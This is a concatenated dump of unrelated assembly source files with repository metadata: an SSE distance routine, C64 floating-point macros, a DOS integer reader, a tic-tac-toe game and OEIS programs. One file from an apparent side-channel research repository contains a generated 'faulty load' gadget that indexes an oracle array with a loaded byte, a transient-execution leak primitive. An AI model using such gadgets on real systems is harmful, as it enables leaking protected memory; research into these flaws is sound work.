subps xmm0, xmm1 ; xmm0 = res1
; __m128 tt1 = _mm_movehl_ps(res1, res1); // wx, wy, wx, wy
movaps xmm3, xmm0
movhlps xmm3, xmm3 ; xmm3 = tt1
; __m128 res2 = _mm_mul_ps(res1, tt1); // c1.1, c1.2, ret_c1 t1*t1, ret_c1 t2*t2
mulps xmm3, xmm0 ; xmm3 = res2
; __m128 res3 = _mm_shuffle_ps(res2, res2, 177); // c1.2, c1.1, ret_c1 t2*t2, ret_c1 t1*t1
movaps xmm4, xmm3
shufps xmm4, xmm4, 0B1h ; xmm4 = res3
;__m128 res4 = _mm_add_ps(res2, res3); // c1, c1, for sqrt, for sqrt
addps xmm4, xmm3 ; free xmm3, xmm4 = res4
; if ((*((float*)&res4)) <= 0) {
xorps xmm3, xmm3 ; xmm3 = 0
comiss xmm3, xmm4
jb next1
; return sqrt(((float*)&res4)[3]);
shufps xmm4, xmm4, 0E7h
sqrtss xmm0, xmm4
; movaps xmm0, xmm4
jmp end_func
next1:
; __m128 res5 = _mm_mul_ps(res1, res1); // vx^2, vy^2, unk, unk
movaps xmm3, xmm0
mulps xmm3, xmm3 ; xmm3 = res5
; __m128 res51 = _mm_shuffle_ps(res5, res5, 225); // vy^2, vx^2, unk, unk
movaps xmm5, xmm3 ; xmm5 = res5
shufps xmm3, xmm3, 0E1h ; xmm3 = res51
; __m128 res52 = _mm_add_ss(res5, res51); // c2, unk, unk, unk
addss xmm3, xmm5 ; free xmm5; xmm3 = res52
; __m128 res6 = _mm_shuffle_ps(*vec1, *vec1, 78); // p.x, p.y, p1.x, p1.y
shufps xmm2, xmm2, 4Eh ; xmm2 = res6
; if (*((float*)&res52) <= *((float*)&res4)) {
comiss xmm4, xmm3
jb next2
; __m128 res7 = _mm_sub_ps(res6, res1); // t1, t2, unk, unk
subps xmm2, xmm0 ; xmm2 = res7
; __m128 res8 = _mm_mul_ps(res7, res7);
mulps xmm2, xmm2
; return sqrt(*((float*)&res8) + ((float*)&res8)[1]);
movaps xmm0, xmm2
shufps xmm2, xmm2, 0E1h
addss xmm0, xmm2
sqrtss xmm0, xmm0
jmp end_func
next2:
; coord b = *((float*)&res4) / *((float*)&res52);
divss xmm4, xmm3 ; xmm4 = b
; __m128 bb = _mm_set1_ps(b);
shufps xmm4, xmm4, 0 ; xmm4 = bb
; __m128 res9 = _mm_mul_ps(bb, res1); // vx * b, vy * b, unk, unk
mulps xmm0, xmm4 ; xmm0 = res9
; __m128 res10 = _mm_add_ps(*vec2, res9); // pbx, pby, unk, unk
addps xmm0, xmm1 ; xmm0 = res10
; __m128 res11 = _mm_sub_ps(res6, res10); // t1, t2, unk, unk
subps xmm2, xmm0 ; xmm2 = res11
; __m128 res12 = _mm_mul_ps(res11, res11); // t1^2, t2^2, unk, unk
mulps xmm2, xmm2 ; xmm2 = res12
; return sqrt(*((float*)&res12) + ((float*)&res12)[1]);
movaps xmm0, xmm2 ; xmm0 = res12
shufps xmm2, xmm2, 0E1h
addss xmm0, xmm2
sqrtss xmm0, xmm0
end_func:
; end function
ret
distance_sse_v6 endp
end
| 29.684864 | 102 | 0.587144 |
5ea407bd746efb3fb61fd0e7b4b1a91776a696ee | 116 | asm | Assembly | assembly_code/Test_Program1.asm | jquinonezb/Equipo_6 | 255f6d1a10e852e039d49f3b1d34b4067e3eef65 | [
"MIT"
] | null | null | null | assembly_code/Test_Program1.asm | jquinonezb/Equipo_6 | 255f6d1a10e852e039d49f3b1d34b4067e3eef65 | [
"MIT"
] | null | null | null | assembly_code/Test_Program1.asm | jquinonezb/Equipo_6 | 255f6d1a10e852e039d49f3b1d34b4067e3eef65 | [
"MIT"
] | 1 | 2021-12-11T23:16:53.000Z | 2021-12-11T23:16:53.000Z | MAIN:
addi $t1,$zero,3
addi $t2,$zero,7
addi $t3,$zero,1
add $t1,$t1,$t1
add $t2,$t2,$t1
add $t3,$t2,$t1
| 12.888889 | 19 | 0.551724 |
a25967f906a1736f58e36b5290f2ac344165b65e | 1,347 | asm | Assembly | Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2_notsx.log_7_1714.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2_notsx.log_7_1714.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2_notsx.log_7_1714.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %rsi
lea addresses_normal_ht+0xb94d, %r13
nop
nop
nop
nop
nop
cmp $43045, %r10
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
vmovups %ymm6, (%r13)
nop
nop
nop
nop
sub %r11, %r11
pop %rsi
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r8
push %rax
push %rbp
push %rbx
push %rsi
// Store
lea addresses_UC+0x9b55, %r8
nop
nop
nop
nop
nop
add $59189, %rsi
movb $0x51, (%r8)
xor $37366, %rax
// Faulty Load
lea addresses_US+0x1c715, %r8
nop
nop
nop
nop
and %rbp, %rbp
movb (%r8), %r10b
lea oracles, %rbp
and $0xff, %r10
shlq $12, %r10
mov (%rbp,%r10,1), %r10
pop %rsi
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'00': 7}
00 00 00 00 00 00 00
*/
| 16.426829 | 129 | 0.651076 |
64816ce28d58e42899f384b231e87cafe035ef64 | 7,037 | asm | Assembly | maths.asm | laubzega/c0pperdragon-VIC-II-Palette-editor | 715c309b4d5a4380c5af3bdb1d0118e2eb158222 | [
"MIT"
] | 12 | 2019-09-25T10:11:19.000Z | 2022-03-26T20:21:06.000Z | maths.asm | laubzega/c0pperdragon-VIC-II-Palette-editor | 715c309b4d5a4380c5af3bdb1d0118e2eb158222 | [
"MIT"
] | 5 | 2020-06-14T19:26:06.000Z | 2021-01-25T18:37:16.000Z | maths.asm | laubzega/c0pperdragon-VIC-II-Palette-editor | 715c309b4d5a4380c5af3bdb1d0118e2eb158222 | [
"MIT"
] | 1 | 2020-09-11T05:06:35.000Z | 2020-09-11T05:06:35.000Z | ;******************************
;Mathematic routines and macros
;******************************
;C64 rom floating point routine entry points
CONUPK=47756 ;Fetch a number from a RAM location to ARG (A=Addr.LB, Y=Addr.HB)
MOVEF=48143 ;Copy a number currently in ARG, over into FAC
;MOVFA=48124 ;Copy a number currently in FAC, over into ARG
MOVFA=$bc0c
MOVFM=48034 ;Fetch a number from a RAM location to FAC (A=Addr.LB, Y=Addr.HB)
MOVMF=48084 ;Store the number currently in FAC, to a RAM location. Uses X and Y rather than A and Y to point to RAM. (X=Addr.LB, Y=Addr.HB)
FACINX=45482 ;Convert number in FAC to 16-bit signed integer (Y=LB, A=HB).
STRVAL=47029 ;Convert numerical PETSCII-string to floating point number in FAC. Expects string-address in $22/$23 and length of string in accumulator.
GIVAYF=45969 ;Convert 16-bit signed integer to floating point number in FAC. Expects lowbyte in Y- and highbyte in A-register.
COS=57956 ;Performs the COS function on the number in FAC
FADD=47207 ;Adds the number in FAC with one stored in RAM (A=Addr.LB, Y=Addr.HB)
FADDT=47210 ;Adds the numbers in FAC and ARG
FDIV=47887 ;Divides a number stored in RAM by the number in FAC (A=Addr.LB, Y=Addr.HB)
FDIVT=47890 ;Divides the number in ARG by the number in FAC. Ignores the sign of the number in FAC and treats it as positive number.
FMULT=47656 ;Multiplies a number from RAM and FAC (clobbers ARG, A=Addr.LB, Y=Addr.HB)
FSUB=47184 ;Subtracts the number in FAC from one stored in RAM (A=Addr.LB, Y=Addr.HB)
FSUBT=47187 ;Subtracts the number in FAC from the number in ARG
SIN=57963 ;Performs the SIN function on the number in FAC
FCOMP=48219 ;Compares the number in FAC against one stored in RAM (A=Addr.LB, Y=Addr.HB). The result of the comparison is stored in A: Zero (0) indicates the values were equal.
;One (1) indicates FAC was greater than RAM and negative one (-1 or $FF) indicates FAC was less than RAM.
;Also sets processor flags (N,Z) depending on whether the number in FAC is zero, positive or negative
FACCOMPM .macro address ;compare FAC with memory
lda #<\address
ldy #>\address
jsr fcomp
.endm
FACADDM .macro address ;add memory to FAC
lda #<\address
ldy #>\address
jsr fadd
.endm
FACSUBM .macro address ;sub FAC from memory
lda #<\address
ldy #>\address
jsr fsub
.endm
FACDIVM .macro address ;divide memory by FAC
lda #<\address
ldy #>\address
jsr fdiv
.endm
; See fast multiplaction routine below
;FACMULM .macro address
; lda #<\address
; ldy #>\address
; jsr fmult
; .endm
LDFACB .macro number ;immediate load FAC with unsigned byte
ldy #\number
lda #0
jsr givayf
.endm
LDFACY .macro ;load FAC with Y register
lda #0
jsr givayf
.endm
LDFACW .macro number ;immediate load FAC with signed word
ldy #<\number
lda #>\number
jsr givayf
.endm
LDFACM .macro address ;load FAC from memory
lda #<\address
ldy #>\address
jsr movfm
.endm
LDARG .macro address ;load ARG from memory
lda #<\address
ldy #>\address
jsr conupk
.endm
STFACM .macro address ;store FAC to memory
ldx #<\address
ldy #>\address
jsr movmf
.endm
TXFA .macro ;Transfer FAC to ARG
jsr movfa
.endm
TXAF .macro ;Transfer ARG to FAC
jsr movef
.endm
LDFACT .macro address ;Load FAC from pstring (byte_length+string)
lda \address
ldx #<\address+1
ldy #>\address+1
stx $22
sty $23
jsr strval
.endm
LDFACBM .macro address ;load FAC with a 8 bit unsigned immidiare or from memory
ldy \address
lda #0
jsr givayf
.endm
;Load FAC with a signed 16 bit number
LDFAC .macro Laddress, Haddress
ldy \Laddress
lda \Haddress
jsr givayf
.endm
;cpfp - copy one FP number to another without loading the FAC then storing the FAC.
; Faster and smaller code than using LDFACM and STFACM macros.
cpfp .macro source, dest
ldy #4
- lda \source,y
sta \dest,y
dey
bpl -
.endm
ustemp .byte 0
upscale tay
and #1
sta ustemp
tya
asl
ora ustemp
asl
ora ustemp
asl
ora ustemp
rts
;Fast Floating Point Multiplication - Again borrowed from codebase64 and converted to 64tass
;ZP
RESULT = $26 ;-$2c
FACX = $61 ;exponent
FAC = $62 ;mantissa - $65
; $66 ;sign, in MSB
ARGX = $69 ;exponent
ARG = $6a ;mantissa - $6d
; $6e ;sign, in MSB
SGNCMP = $6f
res8 = 2;$fb ;lobyte of product
FACMULM .macro address
lda #<\address
ldy #>\address
jsr conupk
jsr mul_FP
.endm
addresult .macro _num, _carry
_num_ :=\_num
_carry_ :=\_carry
pha
lda res8
clc
adc RESULT+_num_
sta RESULT+_num_
pla
adc (RESULT-1)+_num_
sta (RESULT-1)+_num_
.if _carry_ != 0
_num_ := _num_ - 1
bcc +
inc (RESULT-1)+_num_
.for ,_carry_ > 1,
_num_ := _num_ - 1
_carry_ := _carry_ - 1
bne +
inc (RESULT-1)+_num_
.next
.endif
+
.endm
initmultables
ldx #$00
txa
.byte $c9 ;cmp #, clears carry, skips tya
lb1 tya
adc #$00
ml1 sta multabhi,x
tay
cmp #$40
txa
ror
ml9 adc #$00
sta ml9+1
inx
ml0 sta multablo,x
bne lb1
inc ml0+2
inc ml1+2
clc
iny
bne lb1
ldx #$00
ldy #$ff
- lda multabhi+1,x
sta multab2hi+$100,x
lda multabhi,x
sta multab2hi,y
lda multablo+1,x
sta multab2lo+$100,x
lda multablo,x
sta multab2lo,y
dey
inx
bne -
rts
mul_FP bne +
rts ;0 in FAC returns 0
+ jsr $bab7 ;add exponents
lda #0 ;clear RESULT
sta $26
sta $27
sta $28
sta $29
sta $2a
sta $2b
sta $2c
lda FAC+3
ldx ARG+3
jsr mul8x8
sta RESULT+6
ldx ARG+2
jsr mulf
#addresult 6,0
ldx ARG+1
jsr mulf
#addresult 5,0
ldx ARG
jsr mulf
#addresult 4,0
lda FAC+2
ldx ARG+3
jsr mul8x8
#addresult 6,2
ldx ARG+2
jsr mulf
#addresult 5,2
ldx ARG+1
jsr mulf
#addresult 4,2
ldx ARG
jsr mulf
#addresult 3,2
lda FAC+1
ldx ARG+3
jsr mul8x8
#addresult 5,2
ldx ARG+2
jsr mulf
#addresult 4,2
ldx ARG+1
jsr mulf
#addresult 3,2
ldx ARG
jsr mulf
#addresult 2,1
lda FAC
ldx ARG+3
jsr mul8x8
#addresult 4,3
lda RESULT+4
sta $70 ;rounding byte
ldx ARG+2
jsr mulf
#addresult 3,2
ldx ARG+1
jsr mulf
#addresult 2,1
ldx ARG
jsr mulf
#addresult 1,0
jmp $bb8f ;normal multiply exit.
;copies RESULT to FAC1
;and normalises.
mul8x8 sta sm1+1
sta sm3+1
eor #$ff
sta sm2+1
sta sm4+1
mulf sec
sm1 lda multablo,x
sm2 sbc multab2lo,x
sta res8
sm3 lda multabhi,x
sm4 sbc multab2hi,x
rts
multablo = $c000
multabhi = $c200
multab2lo = $c400
multab2hi = $c600 | 21.519878 | 181 | 0.62413 |
2295f794b12dd901ffc9c89a5c6230e3a2e54874 | 3,316 | asm | Assembly | ASM/LeerEntero.asm | Jouna77/Compilador | 8994199cd0d0b09e4553cd6e03a0cfdbaa61d069 | [
"MIT"
] | null | null | null | ASM/LeerEntero.asm | Jouna77/Compilador | 8994199cd0d0b09e4553cd6e03a0cfdbaa61d069 | [
"MIT"
] | null | null | null | ASM/LeerEntero.asm | Jouna77/Compilador | 8994199cd0d0b09e4553cd6e03a0cfdbaa61d069 | [
"MIT"
] | null | null | null | .model small
.stack
.data
;=========================================================
SGN1 db 0
NUM1 db 0,0,0,0
DEC1 db 0,0,0,0
OVERFLOW DB 'STACK OVERFLOW!','$'
NUMERO_INVALIDO DB 'NUMERO INVALIDO!','$'
EXCEPCION_NO_CONTROLADA DB 'EXCEPCION NO CONTROLADA:','$'
AUXILIAR DB 0
.code
;INICIA PROCEDIMIENTO PRINCIPAL
begin proc FAR
MOV AX,@data
MOV DS,AX
;================>[LIMPIAR PANTALLA]<================
mov ax,0600h ;ah 06(es un recorrido), al 00(pantalla completa)
mov bh,01Fh ;fondo blanco(7), sobre azul(1)
mov cx,0000h ;es la esquina superior izquierda reglon: columna
mov dx,184Fh ;es la esquina inferior derecha reglon: columna
int 10h ;interrupcion que llama al BIOS
;================>[MOVER CURSOR A 0]<================
XOR DX,DX; dl Columna,dh fila
MOV bh,0 ;PAGINA
mov ah, 02h ;mover cursor
int 10h; ;servicio de video
LEA DI,SGN1
CALL LEER_ENTERO
MOV AH,4CH
INT 21H
RET
;================>[CODIGO GENERADO POR EL COMPILADOR]<================
LEER_ENTERO PROC NEAR
XOR CX,CX ;CUENTA EL NUMERO DE ENTEROS
MOV SI,DI
MOV AH,01H
INT 21H
MOV AH,'-'
CMP AL,AH
JE lectura_entero_negativo
INC DI
INC CX
JMP validar_numero_entero
lectura_entero_negativo:
MOV AL,0FFH
MOV [DI],AL
;NUMEROS
lectura_numeros:
INC CX
INC DI
CMP CX,06H
JAE overflow_numerico
MOV AH,01H
INT 21H
CMP AL,0DH
JE fin_lectura_entero
CMP AL,2EH
JE lectura_numeros_decimales
validar_numero_entero:
CMP AL,30H
JL numero_invalido_enteros
CMP AL,39H
JA numero_invalido_enteros
SUB AL,30H
MOV [DI],AL
JMP lectura_numeros
lectura_numeros_decimales:
MOV DI,SI
ADD DI,05H
lectura_numero_decimal:
CMP AUXILIAR,09H
JA overflow_numerico
MOV AH,01H
INT 21H
CMP AL,0DH
JE fin_lectura_entero
CMP AL,30H
JL numero_invalido_enteros
CMP AL,39H
JA numero_invalido_enteros
SUB AL,30H
MOV [DI],AL
INC AUXILIAR
INC DI
JMP lectura_numero_decimal
fin_lectura_entero:
;AJUSTAR LA PARTE DECIMAL
DEC CX
CMP CX,04H
JL ajuste_entero_necesario
JMP sin_ajuste_entero
ajuste_entero_necesario:
MOV AL,CL
MOV AH,04H
SUB AH,AL
XOR DX,DX
MOV DL,AH
MOV DI,SI
INC DI
MOV BX,DI
DEC CX
siguiente_ajuste_entero:
MOV DI,BX
ADD DI,CX
MOV AL,[DI]
MOV AH,0H
MOV [DI],AH
ADD DI,DX
MOV [DI],AL
DEC CX
JNS siguiente_ajuste_entero
sin_ajuste_entero:
RET
overflow_numerico:
LEA DI,OVERFLOW
CALL EXCEPCION
numero_invalido_enteros:
LEA DI,NUMERO_INVALIDO
CALL EXCEPCION
RET
LEER_ENTERO ENDP
EXCEPCION PROC NEAR
MOV AH, 06h ; Scroll up function
XOR AL, AL ; Clear entire screen
XOR CX, CX ; Upper left corner CH=row, CL=column
MOV DX, 184FH ; lower right corner DH=row, DL=column
MOV BH, 4Eh ; YellowOnBlue
INT 10H
MOV DL,1AH
MOV DH,0AH
MOV bh,0 ;PAGINA
mov ah, 02h ;mover cursor
int 10h; ;servicio de video
LEA DX,EXCEPCION_NO_CONTROLADA
MOV AH,09H
INT 21H
MOV DL,1AH
MOV DH,0CH
MOV bh,0 ;PAGINA
mov ah, 02h ;mover cursor
int 10h; ;servicio de video
MOV DX,DI
MOV AH,09H
INT 21H
XOR AX,AX
INT 16H
MOV AH,4CH
INT 21H
EXCEPCION ENDP
end begin
| 17.361257 | 70 | 0.641435 |
c148aefc5432bfb4ffe1fbfd2943c7260831eac4 | 345 | asm | Assembly | programs/oeis/040/A040460.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/040/A040460.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/040/A040460.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A040460: Continued fraction for sqrt(482).
; 21,1,20,1,42,1,20,1,42,1,20,1,42,1,20,1,42,1,20,1,42,1,20,1,42,1,20,1,42,1,20,1,42,1,20,1,42,1,20,1,42,1,20,1,42,1,20,1,42,1,20,1,42,1,20,1,42,1,20,1,42,1,20,1,42,1,20,1,42,1,20,1,42,1,20
gcd $0,262156
mul $0,42
mod $0,13
mov $1,$0
div $1,5
mul $1,16
add $0,$1
mul $0,2
sub $0,6
div $0,2
add $0,1
| 23 | 189 | 0.608696 |
7b2f2ea6b1754dcda0d32ab8bff9ed49c42b5608 | 5,887 | asm | Assembly | TicTacToeLAI.asm | Pradyuman7/AssemblyGames | 80770a3323198c084064273d9ca952e09f56b346 | [
"Apache-2.0"
] | 8 | 2018-10-24T07:57:17.000Z | 2021-11-30T14:29:35.000Z | TicTacToeLAI.asm | Pradyuman7/AssemblyGames | 80770a3323198c084064273d9ca952e09f56b346 | [
"Apache-2.0"
] | null | null | null | TicTacToeLAI.asm | Pradyuman7/AssemblyGames | 80770a3323198c084064273d9ca952e09f56b346 | [
"Apache-2.0"
] | 2 | 2019-05-21T15:58:36.000Z | 2021-04-25T20:29:12.000Z | ;; Simple and hard to beat logic based AI, Human vs CPU, Tic Tac Toe
%macro border1 0
times 80 db "="
db 10
%endmacro
%macro border2 0
db "="
times 78 db " "
db "="
db 10
%endmacro
section .data
nL db 10
nl_size equ $-nL
board db "__|__|__",10
db "__|__|__",10
db " | | ",10,0
bo_size equ $-board
borders:
border1
%rep 25
border2
%endrep
border1
b_size equ $-borders
win db 0
player db "0",0
p_size equ $-player
gameOverMsg db "Game,Over!",10
gom_size equ $-gameOverMsg
gameBeginMsg db "Let, the Game Begin, Press any key to continue",10
gbm_size equ $-gameBeginMsg
chanceMsg db "Your Turn Player, ",10
cm_size equ $-chanceMsg
winMsg db "Great play! player "
wm_size equ $-winMsg
typeMsg db "Type your number for the box"
tm_size equ $-typeMsg
clr_scr db 27,"[H",27,"2J" ; source is x86assembly.org and others :P
cs_size equ $-clr_scr
section .bss
key resb 1
nothing resb 1
section .text
global _start
_start:
;call _clrscr
;mov rax,1
;mov rdi,1
;mov rsi,borders
; mov rdx,b_size
; syscall
;
; mov rax,1
; mov rdi,1
; mov rsi,gameBeginMsg
; mov rdx,gbm_size
; syscall
_mainLoop:
call _clrscr
mov rax,1
mov rdi,1
mov rsi,chanceMsg
mov rdx,cm_size
syscall
mov rax,1
mov rdi,1
mov rsi,board
mov rdx,bo_size
syscall
mov rax,1
mov rdi,1
mov rsi,typeMsg
mov rdx,tm_size
syscall
_repeatInput:
call _getInput
cmp rax,0
je _repeatInput
mov al,[key]
sub al,48 ; 48 in ASCII corresponds to zero
call _updateBoard
call _inspect
cmp byte[win],1
je _gameOver
call _playerChange
jmp _mainLoop
_playerChange:
xor byte[player],1
ret
_getInput:
mov rax,0
mov rdi,0
mov rsi,key
mov rdx,1
syscall
cmp byte[key],0x0A
jz _readLast
mov rdi,0
mov rsi,nothing
mov rdx,1
_drain:
mov rax,0
syscall
cmp byte[nothing],0x0A
jz _readLast
jmp _drain
_readLast:
ret
_updateBoard:
cmp rax,1
je _1P
cmp rax,2
je _2P
cmp rax,3
je _3P
cmp rax,4
je _4P
cmp rax,5
je _5P
cmp rax,6
je _6P
cmp rax,7
je _7P
cmp rax,8
je _8P
cmp rax,9
je _9P
jmp _updateLast
_1P:
mov rax,0
jmp _continue
_2P:
mov rax,2
jmp _continue
_3P:
mov rax,4
jmp _continue
_4P:
mov rax,6
jmp _continue
_5P:
mov rax,8
jmp _continue
_6P:
mov rax,10
jmp _continue
_7P:
mov rax,12
jmp _continue
_8P:
mov rax,14
jmp _continue
_9P:
mov rax,16
jmp _continue
_continue:
lea rbx,[board+rax]
mov rsi,player
cmp byte[rsi], "0" ; this took 2 hours to spot " Damn!!! "
je _X
cmp byte[rsi], "1"
je _o
_X:
mov cl, "x"
jmp _update
_o:
mov cl, "o"
jmp _update
_update:
mov [rbx],cl
_updateLast:
ret
_inspect:
call _inspectLine
ret
_inspectLine:
mov rcx,0
_inspectLineLoop:
cmp rcx,0
je _1L
cmp rcx,1
je _2L
cmp rcx,2
je _3L
call _inspectColumn
ret
_1L:
mov rsi,0
inc rcx
lea rbx,[board+rsi]
mov al,[ebx]
cmp al, " "
je _inspectLineLoop
add rsi,2
lea rbx,[board+rsi]
cmp al,[rbx]
jne _inspectLineLoop
add rsi,2
lea rbx,[board+rsi]
cmp al,[rbx]
jne _inspectLineLoop
mov byte[win],1
_2L:
mov rsi,6
inc rcx
lea rbx,[board+rsi]
mov al,[ebx]
cmp al, " "
je _inspectLineLoop
add rsi,2
lea rbx,[board+rsi]
cmp al,[rbx]
jne _inspectLineLoop
add rsi,2
lea rbx,[board+rsi]
cmp al,[rbx]
jne _inspectLineLoop
mov byte[win],1
_3L:
mov rsi,12
inc rcx
lea rbx,[board+rsi]
mov al,[ebx]
cmp al," "
je _inspectLineLoop
add rsi,2
lea rbx,[board+rsi]
cmp al,[rbx]
jne _inspectLineLoop
add rsi,2
lea rbx,[board+rsi]
cmp al,[rbx]
jne _inspectLineLoop
mov byte[win],1
_inspectColumn:
mov rcx,0
_inspectColumnLoop:
cmp rcx,0
je _1C
cmp rcx,1
je _2C
cmp rcx,2
je _3C
call _inspectDiagonal
ret
_1C:
mov rsi,0
inc rcx
lea rbx,[board+rsi]
mov al,[rbx]
cmp al," "
je _inspectColumnLoop
add rsi,6
lea rbx,[board+rsi]
cmp al,[rbx]
jne _inspectColumnLoop
add rsi,6
lea rbx,[board+rsi]
cmp al,[rbx]
jne _inspectColumnLoop
mov byte[win],1
_2C:
mov rsi,2
inc rcx
lea rbx,[board+rsi]
mov al,[rbx]
cmp al," "
je _inspectColumnLoop
add rsi,6
lea rbx,[board+rsi]
cmp al,[rbx]
jne _inspectColumnLoop
add rsi,6
lea rbx,[board+rsi]
cmp al,[rbx]
jne _inspectColumnLoop
mov byte[win],1
_3C:
mov rsi,4
inc rcx
lea rbx,[board+rsi]
mov al,[rbx]
cmp al," "
je _inspectColumnLoop
add rsi,6
lea rbx,[board+rsi]
cmp al,[rbx]
jne _inspectColumnLoop
add rsi,6
lea rbx,[board+rsi]
cmp al,[rbx]
jne _inspectColumnLoop
mov byte[win],1
_inspectDiagonal:
mov rcx,0
_inspectDiagonalLoop:
cmp rcx,0
je _1D
cmp rcx,1
je _2D
ret
_1D:
mov rsi,0
mov rdx,8 ;this is how much is needed to jump to the next diagonal
inc rcx
lea rbx,[board+rsi]
mov al,[rbx]
cmp al," "
je _inspectDiagonalLoop
add rsi,rdx
lea rbx,[board+rsi]
cmp al,[rbx]
jne _inspectDiagonalLoop
add rsi,rdx
lea rbx,[board+rsi]
cmp al,[rbx]
jne _inspectDiagonalLoop
mov byte[win],1
_2D:
mov rsi,4
mov rdx,4
inc rcx
lea rbx,[board+rsi]
mov al,[rbx]
cmp al," "
je _inspectDiagonalLoop
add rsi,rdx
lea rbx,[board+rsi]
cmp al,[rbx]
jne _inspectDiagonalLoop
add rsi,rdx
lea rbx,[board+rsi]
cmp al,[rbx]
jne _inspectDiagonalLoop
mov byte[win],1
_clrscr:
mov rax,1
mov rdi,1
mov rsi,clr_scr
mov rdx,cs_size
syscall
ret
_gameOver:
call _clrscr
mov rax,1
mov rdi,1
mov rsi,gameOverMsg
mov rdx,gom_size
syscall
mov rax,1
mov rdi,1
mov rsi,winMsg
mov rdx,wm_size
syscall
jmp _exit
_exit:
mov rax,60
mov rdi,0
syscall
| 12.163223 | 84 | 0.634449 |
1a4ae86d6dc72635212b675eac030c188e49e5b3 | 1,070 | asm | Assembly | programs/oeis/112/A112654.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/112/A112654.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/112/A112654.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A112654: Numbers k such that k^3 == k (mod 11).
; 0,1,10,11,12,21,22,23,32,33,34,43,44,45,54,55,56,65,66,67,76,77,78,87,88,89,98,99,100,109,110,111,120,121,122,131,132,133,142,143,144,153,154,155,164,165,166,175,176,177,186,187,188,197,198,199,208,209,210,219,220,221,230,231,232,241,242,243,252,253,254,263,264,265,274,275,276,285,286,287,296,297,298,307,308,309,318,319,320,329,330,331,340,341,342,351,352,353,362,363,364,373,374,375,384,385,386,395,396,397,406,407,408,417,418,419,428,429,430,439,440,441,450,451,452,461,462,463,472,473,474,483,484,485,494,495,496,505,506,507,516,517,518,527,528,529,538,539,540,549,550,551,560,561,562,571,572,573,582,583,584,593,594,595,604,605,606,615,616,617,626,627,628,637,638,639,648,649,650,659,660,661,670,671,672,681,682,683,692,693,694,703,704,705,714,715,716,725,726,727,736,737,738,747,748,749,758,759,760,769,770,771,780,781,782,791,792,793,802,803,804,813,814,815,824,825,826,835,836,837,846,847,848,857,858,859,868,869,870,879,880,881,890,891,892,901,902,903,912,913
mov $1,$0
add $1,1
div $1,3
mul $1,8
add $1,$0
| 118.888889 | 971 | 0.725234 |
9ed04e7b57c07803f7b0ad49c764ebbc67697fa8 | 78 | asm | Assembly | samples/a8/pasintro/msx/player.asm | zbyti/Mad-Pascal | 546cae9724828f93047080109488be7d0d07d47e | [
"MIT"
] | 1 | 2021-12-15T23:47:19.000Z | 2021-12-15T23:47:19.000Z | samples/a8/pasintro/msx/player.asm | michalkolodziejski/Mad-Pascal | 0a7a1e2f379e50b0a23878b0d881ff3407269ed6 | [
"MIT"
] | null | null | null | samples/a8/pasintro/msx/player.asm | michalkolodziejski/Mad-Pascal | 0a7a1e2f379e50b0a23878b0d881ff3407269ed6 | [
"MIT"
] | null | null | null |
; opt f+
STEREOMODE equ 0
icl 'intro.feat'
icl 'rmt_player.a65'
| 8.666667 | 22 | 0.589744 |
e19489a23bf3a2b09f63357bff281ff8a37274a2 | 1,675 | asm | Assembly | programs/oeis/167/A167469.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/167/A167469.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/167/A167469.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A167469: a(n) = 3*n*(5*n-1)/2.
